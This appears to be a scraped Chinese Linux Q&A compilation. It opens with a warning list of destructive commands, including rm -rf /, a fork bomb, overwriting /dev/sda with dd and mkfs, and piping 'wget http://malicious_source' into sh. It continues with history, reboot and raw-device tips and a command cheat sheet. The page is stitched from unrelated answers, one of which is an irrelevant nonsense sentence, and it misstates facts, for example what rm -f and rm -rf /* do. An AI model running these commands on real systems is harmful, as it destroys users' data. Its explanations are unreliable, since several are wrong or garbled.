這9個「非常危險」的Linux命令一定要記住!
1、rm-rf命令
rm-rf命令是刪除文件夾及其內容最快的一種方式,僅僅一丁點的敲錯或者無知都可能導致不可恢復的系統崩壞。
rm命令在Linux下通常用來刪除文件
rm-f命令遞歸的刪除文件夾,甚至是空的文件夾
rm-f命令能不經過詢問直接刪除只讀文件
rm-rf/:強制刪除根目錄下所有東西
rm-rf/*:強制刪除當前目錄的所有文件
rm-rf.:強制刪除當前文件夾及其子文件
溫馨提示:當你要執行rm -rf命令時,一定要留心,可以在「.bashrc」文件對「rm」命令創建rm
-i的別名,來預防用『rm』命令刪除文件時的事故。
2、:(){:|:&};:命令
這就是一個fork炸彈的實例。具體操作是通過定義一個名為':'的函數,它會調用自己兩次,一次在前台另一次運行在後台。它會反復的執行下去直到系統崩潰。
3、命令 >/dev/sda
上列命令會將某個'命令'的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。
4、mv文件夾/dev/null
這個命令會移動某個'文件夾'到/dev/null。在Linux中/dev/null或null設備是一個特殊的文件,所有寫入它的數據都會被清除,然後返回寫操作成功。
5、wget http://malicious_source -O- | sh
上面這個命令會從一個惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會執行下載下來的腳本。
溫馨提示:你應該時刻注意你下載包或者腳本的源。只能使用那些從可信任的源中下載腳本/程序。
6、mkfs.ext3 /dev/sda
上列命令會格式化設備'sda',你無疑知道在執行上列命令後你的塊設備會被格式化,嶄新的。沒有任何數據,直接讓你的系統達到不可恢復的階段。
7、> file
上面命令常用來清空文件內容,如果用上列執行時輸入錯誤或無知的輸入類似「> xt.conf」的命令會覆蓋配置文件或其他任何的系統配置文件。
8、^foo^bar
這個命令用來編輯先前運行的命令而無需要打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。
9、dd if=/dev/random of=/dev/sda
上面這個命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然,你的系統可能陷入混亂和不可恢復的狀態。
B. 如何查看linux上的歷史執行命令
1>History命令語法: [test@linux]# history [n] [test@linux]# history [-c] [test@linux]# history [-raw] histfiles 參數: n :數字,要列出最近的 n 筆命令列表 -c :將目前的shell中的所有 history 內容全部消除 -
C. 重新啟動linux系統命令
標準的重啟命令是:reboot,這將提示主機自動關閉,然後再重新打開。然而,如果想關掉設備,那麼-p便是進行開關工作:reboot –p。
另一種選擇是強制重啟。如果應用程序或服務正在掛起,而需要快速重啟,-f命令將非常有用:reboot –f,這將強制重新啟動主機。
緊急選項:REISUB
當系統運行正常時,可以使用上面的所有命令。但是在崩潰或者正在掛起的狀態,上面的命令可能就不適用了,這時候就鍵盤組合操作。
在Linux系統中,鍵盤組合為Alt + Print Screen + B以重新啟動。 但是如果這不起作用,或者存在更復雜的問題,則可以使用最多六個鍵來更改組合,就是REISUB,是取以下詞語的縮略語:
unraw -顯示控制鍵盤。
terminate - 將終止信號SIGTERM發送到所有進程,以便正常終止。
kill - 如上所述,但SIGKILL信號強制立即終止進程。
Sync - 將數據刷新到磁碟。
Unmount- 這會將所有文件系統重新裝入只讀狀態。
reboot - 按照期望的那樣。
要使其起作用,應按下Alt + Print Screen,然後按順序按下R E I S U B鍵。 在每個按鍵之間留一兩秒。 請注意,此方法通常不適用於具有ARM體系結構的。
現在大家已經了解了如何取消關機或重啟命令。然而當進程正在運行時,很容易啟動shutdown命令,尤其是在遠程主機上。解決這個問題的方法是安裝molly-guard,它可以通過檢查某些參數來覆蓋關機。《Linux就該這么學》一起學習更多linux
具體例如,有一個腳本檢查SSH會話,如果發送重新啟動、停止、關機或關機命令,molly-guard將要求要關閉的主機的名稱。當molly-guard在後台運行時,它將檢測poweroff之類的命令,並報告已檢測到SSH會話。 然後用戶可以選擇輸入主機名以確認關閉,或者按Ctrl + C取消。
D. 一下幾個Linux命令是什麼意思,最好能詳細解釋下裡面的參數含義
第一行是開啟路由轉發功能。
第二行是定義SNAT策略,但是好像你沒有定義源網段地址。
第三行是載入路由功能,使路由功能生效。
E. 求教:linux是怎樣查找硬體設備的
可以用df -h查看。 1、裸設備定義: 一塊沒有分區的硬碟,稱為原始設備(RAW DEVICE)或者是一個分區,但是沒有用EXT3,OCFS等文件系統格式化,稱為原始分區(RAW PARTITION)以上兩者都是裸設備。 2、裸設備的綁定 有文件系統的分區是採用mount的方式掛載到某一個掛載點的(目錄)而裸設備不能mount,只能綁定到/dev/raw/下的某一個設備名 比如/dev/raw/raw1 3、裸設備的綁定方法 修改/etc/sysconfig/rawdevices,添加以下內容,這里sdd1和sdd2是原始分區名或者原始設備(硬碟)名,raw1和raw2是/dev目錄下的原始設備名,編號從raw1到raw255,也就是最多可以綁定255個裸設備。 /dev/raw/raw1 /dev/sdd1 /dev/raw/raw2 /dev/sdd2 然後修改裸設備的屬主和訪問許可權 chown oracle:dba /dev/raw/raw1 chown oracle:dba /dev/raw/raw2 chmod 660 /dev/raw/raw1 chmod 660 /dev/raw/raw2 最後使得裸設備生效,並且在機器啟動的時候就自動載入執行 /etc/init.d/rawdevices restart 使裸設備生效執行 /sbin/chkconfig rawdevices on 保證機器啟動的時候裸設備能夠載入,這一步很重要。 4、裸設備的讀寫 不能用cp等命令操作,寫入內容用dd命令,可以參閱相關資料。 5、清空裸設備,相當於格式化啦bs是快的大小,block sizecount是快的數量,這兩者相乘大於裸設備的容量即可。 dd if=/dev/zero of=/dev/raw/raw1 bs=8192 count=12800 dd if=/dev/zero of=/dev/raw/raw2 bs=8192 count=12800
F. 請懂linux的幫忙看下如何用命令查看raw裸設備和lv綁定關系
他在這個人材基本的地方看見他感到很驚訝
G. linux命令中顯示之前操作過的所有命令的命令是什麼
1、連接上相應的linux主機,進入到等待輸入shell指令的linux命令行狀態下。
H. linux 查看當前系統默認可以記住用戶多少個歷史命令用什麼命令
可以使用History命令,主要用於顯示歷史指令記錄內容, 下達歷史紀錄中的指令 。
1、History命令語法:
[test@linux]# history [n]
[test@linux]# history [-c]
[test@linux]# history [-raw] histfiles
參數:
n:數字,要列出最近的 n 筆命令列表
-c:將目前的shell中的所有 history 內容全部消除
-a:將目前新增的history 指令新增入 histfiles 中,若沒有加 histfiles ,
則預設寫入 ~/.bash_history
-r:將 histfiles 的內容讀到目前這個 shell 的 history 記憶中
-w:將目前的 history 記憶內容寫入 histfiles
Linux系統在shell(控制台)中輸入並執行命令時,shell會自動把命令記錄到歷史列表中,一般保存在用戶目錄下的.bash_history文件中。默認保存1000條,也可以更改這個值。
如果鍵入history, history會顯示所使用的前1000個歷史命令,並且編了號,會看到一個用數字編號的列錶快速從屏幕上卷過。可能不需要查看1000個命令中的所有項目, 當然也可以加入數字來列出最近的 n 筆命令列表。
linux中history命令不僅僅可以查詢歷史命令而已. 還可以利用相關的功能來幫執行命令。
2、運行特定的歷史命令
history會列出bash保存的所有歷史命令,並且編了號,可以使用「嘆號接編號」的方式運行特定的歷史命令.
語法說明:
[test@linux]# [!number] [!command] [!!]
參數說明:
number :第幾個指令的意思;
command:指令的開頭幾個字母
! :上一個指令的意思!
3、History命令實戰
列出所有的歷史記錄:
[test@linux] # history
只列出最近10條記錄:
[test@linux] # history 10 (注,history和10中間有空格)
使用命令記錄號碼執行命令,執行歷史清單中的第99條命令
[test@linux] #!99 (!和99中間沒有空格)
重復執行上一個命令
[test@linux] #!!
執行最後一次以rpm開頭的命令(!? ?代表的是字元串,這個String可以隨便輸,Shell會從最後一條歷史命令向前搜索,最先匹配的一條命令將會得到執行。)
[test@linux] #!rpm
逐屏列出所有的歷史記錄:
[test@linux]# history | more
立即清空history當前所有歷史命令的記錄
[test@linux] #history -c
除了使用history命令,在 shell 或 GUI 終端提示下,也可以使用上下方向鍵來翻閱命令歷史(向下箭頭會向前翻閱),直到找到所需命令為止。這可以很方便地編輯前面的某一條命令,而不用重復輸入類似的命令。
I. 在LINUX下如何修改文件類型
d
目錄文件。
l
符號鏈接(指向另一個文件,類似於瘟下的快捷方式)。
s
套接字文件。
b
塊設備文件,二進制文件。
c
字元設備文件。
p
命名管道文件。
-
普通文件,或更准確地說,不屬於以上幾種類型的文件。
重點注意的是普通文件,在查看文件類型的時候使用file命令和ll命令結合來查看文件的類型
設備文件分為block
device
driver和character
device
drive兩類。character
device
drive又被稱為字元設備或裸設備raw
devices;
block
device
driver通常成為塊設備。而block
device
driver是以固定大小長度來傳送轉移資料
;character
device
driver是以不定長度的字元傳送資料
。且所連接的devices也有所不同,block
device大致是可以隨機存取(random
access)資料的設備,如硬碟機或光碟機;而character
device剛好相反,依循先後順序存取資料的設備,如印表機
、終端機等皆是。
1.字元設備只能以位元組為最小單位訪問,而塊設備以塊為單位訪問,例如512位元組,1024位元組等
2.塊設備可以隨機訪問,但是字元設備不可以
3.字元和塊沒有訪問量大小的限制,塊也可以以位元組為單位來訪問
the
type
printed
will
usually
contain
one
of
the
words
text
(the
file
contains
only
printing
characters
and
a
few
common
control
characters
and
is
probably
safe
to
read
on
an
ascii
terminal),
executable
(the
file
contains
the
result
of
compiling
a
program
in
a
form
understandable
to
some
unix
kernel
or
another),
data
meaning
anything
else
(data
is
usually
`binary'
or
non-printable).
any
file
that
cannot
be
identified
as
having
been
written
in
any
of
the
character
sets
listed
above
is
simply
said
to
be
``data''.
J. Linux那些命令操作
Linux常用命令手冊
2008-1-22
NO
分類
PS1
命令名
用法及參數
功能註解
對應章節
1
文件管理
#
ls
ls -a
列出當前目錄下的所有文件,包括以.頭的隱含文件
文件管理
#
ls
ls -l或ll
列出當前目錄下文件的詳細信息
文件管理
#
pwd
pwd
查看當前所在目錄的絕對路經
文件管理
#
cd
cd ..
回當前目錄的上一級目錄
文件管理
#
cd
cd -
回上一次所在的目錄
文件管理
#
cd
cd ~ 或 cd
回當前用戶的宿主目錄
文件管理
#
cd
cd ~用戶名
回指定用戶的宿主目錄
2
文件管理
#
mkdir
mkdir 目錄名
創建一個目錄
文件管理
#
mkdir
mkdir –p
遞歸式去創建一些嵌套目錄
文件管理
#
rmdir
Rmdir 空目錄名
刪除一個空目錄
3
文件管理
#
rm
rm 文件名 文件名
刪除一個檔或多個檔
文件管理
#
rm
rm -rf 非空目錄名
遞歸刪除一個非空目錄下的一切,不讓提式-f
4
文件管理
#
cat
cat文件名
一屏查看檔內容
5
文件管理
#
more
more文件名
分頁查看檔內容
6
文件管理
#
less
less 文件名
可控分頁查看檔內容
7
文件管理
#
grep
grep字元 文件名
根據字元匹配來查看文件部分內容
8
文件管理
#
mv
mv 路經/文件 /經/文件
移動相對路經下的文件到絕對路經下
文件管理
#
mv
mv 文件名 新名稱
在當前目錄下改名
9
文件管理
#
cp
cp /路經/文件 ./
移動絕對路經下的文件到當前目錄下
10
文件管理
#
find
find 路經 -name 「字元串」
查找路經所在范圍內滿足字元串匹配的文件和目錄
11
文件管理
#
ln
ln 源文件 鏈接名
創建當前目錄源文件的硬鏈接
ln /home/test /usr/test1
在/usr下建立/home/test的硬鏈接
12
文件管理
#
ln
Ln -s a b
創建當前目錄下a的符號鏈接b
13
文件管理
#
touch
touch file1 file2
創建兩個空文件
14
磁碟管理
#
df
df
用於報告文件系統的總容量,使用量,剩餘容量。
15
磁碟管理
#
-b /home
查看目前/HOME目錄的容量(k)及子目錄的容量(k)。
16
磁碟管理
#
fdisk
fdisk -l
查看系統分區信息
17
磁碟管理
#
fdisk
fdisk /dev/sdb
為一塊新的SCSI硬碟進行分區
18
磁碟管理
#
mkfs.ext3
Mkfs.ext3 /dev/sdb1
為第一塊SCSI硬碟的第一主分區格式化成
ext3的文件系統
mkfs.ext2
Mkfs.ext2/dev/sdb2
格式化成ext2文件系統
19
磁碟管理
#
mount
mount -t 文件系統類型 設備路經 訪問路經
磁碟管理
#
文件系統類型
Iso9660
光碟機文件系統
vfat
Fat文件系統(windows)
掛載光碟機
#
mount –t iso9660 /dev/cdrom /mnt/cdrom
掛載FAT
#
mount –t vfat /dev/hda5 /mnt/cdrom
掛第一個ide的第五個邏輯分區
17
磁碟管理
#
Umount /mnt/cdrom
卸載/mnt/cdrom為空
18
文件許可權
#
chmod
chmod u+s file
為file的屬主加上特殊許可權
chmod g+r file
為file的屬組加上讀許可權
chmod o+w file
為file的其它用戶加上寫許可權
chmod a-x file
為file的所有用戶減去執行許可權
chmod 765 file 為file的屬主設為完全許可權,屬組設成讀寫權,其它用戶具有讀和執心許可權
19
文件許可權
#
chown
chown root /home
把/home的屬主改成root用戶
20
文件許可權
#
chgrp
chgrp root /home
把/home的屬組改成root組
21
列印管理
#
redhat-config-printer-tui
進入安裝列印機介面
22
列印管理
#
lp
lp –d hptr file
列印file到hptr的列印機上
23
列印管理
#
lpq
Lpq –P 列印機名
查看列印機的狀態
24
列印管理
#
lprm
Lprm –P 列印機名 a
刪除列印機內的列印作業
25
列印管理
#
disable
Disable –r 「changing paper」 HPtr
禁用列印機並提示原因
26
列印管理
#
enable
Enable HPtr
重新啟用被禁用的
27
用戶管理
#
useradd
Useradd
創建一個新的用戶
28
用戶管理
#
groupadd
Groupadd 組名
創建一個新的組
29
用戶管理
#
passwd
Passwd 用戶名
為用戶創建密碼
30
用戶管理
#
Passwd -d
Passwd -d用戶名
刪除用戶密碼也能登陸
31
用戶管理
#
Passwd -l
Passwd -l用戶名
鎖定賬號密碼
32
用戶管理
#
Passwd -u
Passwd -u用戶名
解鎖賬號密碼
33
用戶管理
#
Passwd -S
Passwd -S用戶名
查詢賬號密碼
34
用戶管理
#
Usermod -l
Usermod -l 新用戶名 老用戶名
為用戶改名
35
用戶管理
#
Usermod -L
Usermod -L 要鎖定用戶名
鎖定用戶登陸
36
用戶管理
#
Usermod -U
Usermod –U解鎖用戶名
解鎖用戶登陸
37
用戶管理
#
Usermod -u
Usermod –u 501用戶名
改變用戶UID
38
用戶管理
#
Userdel
Userdel–r 用戶名
刪除用戶一切
39
用戶管理
#
Groupmod -n
Groupmod –n新用戶名 老用戶名
為組改名
40
用戶管理
#
Groupmod -g
Groupmod –g 501 組名
改變組GID
41
用戶管理
#
groupdel
Groupdel組名 先應刪它的用戶
刪除組
42
用戶管理
#
gpasswd -a
gpasswd -a 用戶名 組名
增加用戶到組
43
用戶管理
#
Id
id 用戶名
查用戶信息
44
軟體管理
#
rpm -qa
rpm –qa | less
查詢已安裝RPM
45
軟體管理
#
rpm –qa | grep ftp
查詢指定RPM
46
軟體管理
#
rpm -q
rpm -q 已安裝的RPM包
查是否安裝
47
軟體管理
#
rpm -q telnet-server
查看telnet伺服器包
48
軟體管理
#
rpm -qi
rpm –qi 軟體包名稱
查看軟體的描述信息
49
軟體管理
#
rpm -ql
rpm –ql軟體包名稱
查詢軟體包的文件列表
50
軟體管理
#
rpm -qf
rpm –qf軟體包名稱
查詢某個文件所屬的軟體包
51
軟體管理
#
rpm -qp
rpm –qp軟體包全名
查詢未安裝的軟體包信息
52
軟體管理
#
rpm -e
rpm –e 軟體包名稱
刪除具體的軟體包
53
軟體管理
#
rpm -U
rpm –Uvh軟體包全名
升級軟體包並顯示過程
54
軟體管理
#
rpm -ivh
rpm –ivh 軟體包全名
安裝軟體包並顯示過程
55
軟體管理
#
rpm -V
rpm –V軟體包名稱
驗證軟體包的大小,類型等
56
軟體管理
#
tar
-c 創建包 –x 釋放包 -v 顯示命令過程 –z 代表壓縮包
57
軟體管理
#
tar -cf
tar –cvf benet.tar /home/benet
把/home/benet目錄打包
58
軟體管理
#
tar -czf
tar –zcvf benet.tar.gz /mnt
把目錄打包並壓縮
59
軟體管理
#
tar –tf
tar –tf benet.tar
看非壓縮包的檔列表
60
軟體管理
#
tar –tzf
tar –tf benet.tar.gz
看壓縮包的檔列表
61
軟體管理
#
tar –xf
tar –xf benet.tar
非壓縮包的檔恢復
62
軟體管理
#
tar –zxvf
tar –zxvf benet.tar.gz
壓縮包的檔解壓恢復
63
軟體管理
#
tar -jxvf
tar –jxvf benet.tar.bz2
64
軟體管理
#
diff
diff file1 file2 > 補丁名.patch
為新舊檔生成補丁檔
65
軟體管理
#
diff
diff file1 file2
比較兩個文件的區別
66
軟體管理
#
Patch
Patch file補丁名.patch
打補丁
67
軟體管理
#
./configure --prefix=/usr/local/
編譯前配置
68
軟體管理
#
make
編譯
69
軟體管理
#
make install
安裝編譯好的源碼包
70
啟動管理
#
reboot
Init 6
重啟LINUX系統
71
啟動管理
#
Halt
Init 0
Shutdown –h now
關閉LINUX系統
72
啟動管理
#
runlevel
顯示系統運行級
73
啟動管理
#
Init [0123456]
改變系統運行級,7種
74
啟動管理
#
Chkconfig –-list [服務名稱]
查看服務的狀態
75
啟動管理
#
Chkconfig –-level <運行級> <服務名> on|off|set
設置服務的啟動狀態
76
啟動管理
#
Chkconfig <服務名> on|off|set
設置非獨立服務啟狀態
77
進程管理
#
Top動態
Ps-aux靜態
進程樹pstree
查看系統進程
78
進程管理
#
程序名 &
後台運行程序
79
進程管理
#
fg
把後台運行的進程調回前台
80
進程管理
#
bg
把前台運行進程調到後台
81
進程管理
#
renice
Renice +1 180
把180號進程的優先順序加1
82
進程管理
#
kill
Kill PID
終止某個PID進程
83
進程管理
#
at
at 5pm + 3 days
/bin/ls
指定三天後下午5:00執行/bin/ls
84
進程管理
#
crontab
Crontab -e
用VI的形式來編輯自動周期性任務
85
進程管理
#
crontab
Crontab -l
查看自動周期性任務
86
進程管理
#
crontab
Crontab -r
刪除自動周期性任務
87
進程管理
#
crond
Service crond <start|stop|restart|status>
馬上啟動自動周期性服務
Service crond <啟動|停止|重啟|狀態>
實現磁碟配額
(注安裝LINUX時建立/home分區)
目標:對用戶zhao在/home目錄上實現soft limit為5k,hard limit 為10k的磁碟配額
實現步驟:
1. 修改包含/home的行, #vi /etc/fstab, 改為:defaults,usrquota。也就是增加usrquota項。然後保存退出。
2、卸載/home目錄 #umount /home
3. 掛接/home目錄 #mount /home
4、增加用戶zhao #useradd zhao
5、修改密碼 #passwd zhao
6、生成關於/home目錄的quota信息 # quotacheck -cmug /home
#quotacheck -vu /home
7、查看所有用戶的信息 #repquota -au
8、設置配額 #edquota -u zhao
將soft 和hard 分別改為5和10
9、保存並退出 #wq!
10、修改時間 #edquota -t
11、 #wq!
12.開啟/home上的磁碟配額功能 #quotaon /home
13.查詢配額 #quota -u zhao
14.驗證配額 #su - zhao
$touch myfile
useradd命令的常用選項如下:
-c comment:用戶全名或描述。l
-d home-dir:指定用戶主目錄。l
-e date:禁用賬戶的日期,格式為:YYYY-MM-DD。l
-f days:口令過期後,賬戶禁用前的天數。l
-g group-name:用戶所屬主組群的組群名稱或GID。l
-G group-list:用戶所屬的附屬組群列表,多個項目用逗號分隔。l
-m:若主目錄不存在則創建它。l
-M:不創建用戶主目錄。l
-n:不要為用戶創建用戶私人組群。l
-r:創建UID小於500的不帶主目錄的系統賬戶。l
-p:加密的口令。l
-s:指定用戶登錄 Shell,默認為 /bin/bash。l
-u UID:指定用戶的 UID,它必須是唯一的,且大於499。l